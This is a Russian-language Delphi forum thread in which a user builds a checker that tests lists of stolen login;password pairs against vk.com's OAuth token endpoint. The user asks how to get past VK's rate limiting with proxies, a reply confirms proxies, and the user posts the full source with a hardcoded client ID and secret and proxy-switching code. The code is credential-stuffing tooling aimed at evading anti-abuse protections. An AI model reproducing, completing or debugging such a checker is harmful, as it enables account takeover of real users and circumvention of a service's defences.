Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 29.11.2015, 23:23   #1
Bigggi
 
Регистрация: 17.03.2012
Сообщений: 3
По умолчанию Чекер валидности аккаунтов vk.com

Привет )
Начал делать свой чекер валидности аккаутов в вк. Работать то оно работает чекает mail;pass но до определенного количества раз, потом начинает гнать все в badи.
Я так понимаю срабатывает защита вк от многократного входа.
Как можно обойти ? цеплать прокси?
Спасибо)
Bigggi вне форума Ответить с цитированием
Старый 30.11.2015, 00:18   #2
Человек_Борща
Старожил
 
Аватар для Человек_Борща
 
Регистрация: 30.12.2009
Сообщений: 11,426
По умолчанию

Цитата:
Как можно обойти ? цеплать прокси?
да okerface:
Человек_Борща вне форума Ответить с цитированием
Старый 30.11.2015, 01:33   #3
Bigggi
 
Регистрация: 17.03.2012
Сообщений: 3
По умолчанию

Цитата:
Сообщение от Человек_Борща Посмотреть сообщение
да okerface:
Может подскажете что, что то не получается с проксями.(
ввожу рабочие прокси а валидные аккаунты идут в беды.((
Извините за ужасный код))
Код:
unit Unit1;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, IdBaseComponent, IdComponent,
  IdTCPConnection, IdTCPClient, IdHTTP, Vcl.ExtCtrls, Vcl.StdCtrls, IdIOHandler,
  IdIOHandlerSocket, IdIOHandlerStack, IdSSL, IdSSLOpenSSL, Jpeg,IdSocks;

type
  TForm1 = class(TForm)
    Login: TGroupBox;
    LoginEdit: TEdit;
    Label1: TLabel;
    Label2: TLabel;
    Button1: TButton;
    GroupBox3: TGroupBox;
    LogMemo: TMemo;
    IdHTTP1: TIdHTTP;
    IdSSLIOHandlerSocketOpenSSL1: TIdSSLIOHandlerSocketOpenSSL;
    PassEdit: TEdit;
    OpenDialog1: TOpenDialog;
    Button2: TButton;
    Memo1: TMemo;
    procedure Proxy;
    procedure GetToken;
    procedure Parsing;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Memo1Change(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  token:string;
  UID:string;
  client_id:string;
  client_secret:string;
  logine,pass,del: string;
     str:TStringlist;
     i:integer;

implementation
{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
  GetToken;
   Memo1.Lines.Add(logine);
   Memo1.Lines.Add(pass);
end;

{procedure TForm1.Parsing;
 var
      str:TStringlist;
     begin
          str:=TStringlist.Create;
            if OpenDialog1.Execute then
            begin
            str.LoadFromFile(OpenDialog1.FileName);
            end;
            if pos(';',str.Strings[0])<>0 then
            begin
              del:=';';
            end
            else
             del:=':';
            end;
            end;
     end;
     }
        procedure TForm1.Parsing;
     begin
          str:=TStringlist.Create;
            if OpenDialog1.Execute then
            begin
            str.LoadFromFile(OpenDialog1.FileName);
            end;
        end;



procedure TForm1.Proxy;
   var
i: integer;
proxy: string;
begin
for i:=0 to memo1.lines.count-1 do
begin
proxy:=memo1.lines.strings[0];
IdHTTP1.ProxyParams.ProxyServer:=Copy(proxy,1 ,Pos(':',proxy)-1);
IdHTTP1.ProxyParams.ProxyPort:=StrToInt(Copy(proxy,Pos(':',proxy)+1,Length(proxy)));
end;
end;


procedure TForm1.Button2Click(Sender: TObject);

     begin
      Parsing;
      end;


procedure TForm1.GetToken;
var
  temp: string;
  tempUID: string;
  response:string;
   Socks: TIdSocksInfo;
   SSL: TIdSSLIOHandlerSocketOpenSSL;
   HTTP: TIdHTTP;
begin

      { if del=';' then
     begin}
      logine:=copy(str.Strings[i],1 ,pos(';',str.Strings[i])-1);
         pass:=copy(str.Strings[i],pos(';',str.Strings[i])+1, MaxInt);
              logmemo.Lines.Add(logine);
               logmemo.Lines.Add(pass);
    // end ;
       { if del=':' then
     begin
       logine:=copy(str.Strings[i],1 ,pos(':',str.Strings[i])-1);
          pass:=copy(str.Strings[i],pos(':',str.Strings[i])+1, MaxInt);
     end; }
     {
      form1.IdHTTP1.ProxyParams.ProxyPort:=3128;
form1.IdHTTP1.ProxyParams.ProxyServer:='proxy.myprovider.net';
      }

      Proxy;

 client_id:='2274003';
  client_secret:='hHbZxrka2uZ6jB1inYsH';
  try
    logmemo.Lines.Add('запрос токена');
    response:=idhttp1.Get('https://oauth.vk.com/token?grant_type=password&client_id='+client_id+'&scope=wall&client_secret='+client_secret+'&username='+logine+'&password='+pass);
    //logmemo.Lines.Add(response);
  except
    logmemo.Lines.Add('ошибка соединения при получении access token');
    logmemo.Lines.Add(response);
  end;

  if Pos('token', response)<>0 then
  begin
    temp:=copy(response, pos('access_token":"', response), pos('","expires_in', response)-3);
    tempUID:=copy(response, pos('user_id', response), pos('}', response));
    delete(temp, 1, 15);
    token:=temp;
    logmemo.Lines.Add('token получен');
    //logmemo.Lines.Add(token);
    logmemo.Lines.Add('ковыряем UID');
    delete(tempUID, 1, 9);
    delete(tempUID, pos('}', tempUID), 1);
    UID:=tempUID;
    logmemo.Lines.Add('UID получен '+UID);
    logine:='';
     pass:='';
   i:=i+1;
  end
  else
  begin
    logmemo.Lines.Add('token не получен');
    logmemo.Lines.Add(response);
    logine:='';
   pass:='';
   i:=i+1;
  end;
end;
   end.
Bigggi вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Проверка валидности URL atihiy2010 Работа с сетью в Delphi 7 22.10.2012 15:12
Проверка валидности ICQ номеров jone Работа с сетью в Delphi 14 19.06.2012 20:54
проверка валидности введеного значения cliv БД в Delphi 4 21.07.2011 00:21
Ошибка валидности в коде Winlook HTML и CSS 4 27.02.2010 22:20
чекер DeDoK Общие вопросы Delphi 0 15.04.2009 22:26